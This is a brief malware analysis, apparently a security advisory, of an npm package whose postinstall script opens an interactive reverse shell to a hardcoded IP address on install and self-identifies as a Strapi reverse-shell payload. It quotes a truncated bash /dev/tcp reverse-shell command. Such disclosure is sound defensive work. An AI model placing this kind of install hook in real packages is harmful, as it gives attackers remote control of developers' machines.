What this malware does

The package's postinstall lifecycle script (postinstall.js) uses child_process.exec to spawn bash -c 'bash -i > /dev/tcp/14.225.210.85/443...', opening an interactive reverse shell from the installer's host to a hardcoded remote IP on npm install. It also drops a marker file under /tmp. The package's own description self-identifies as a Strapi reverse-shell payload.
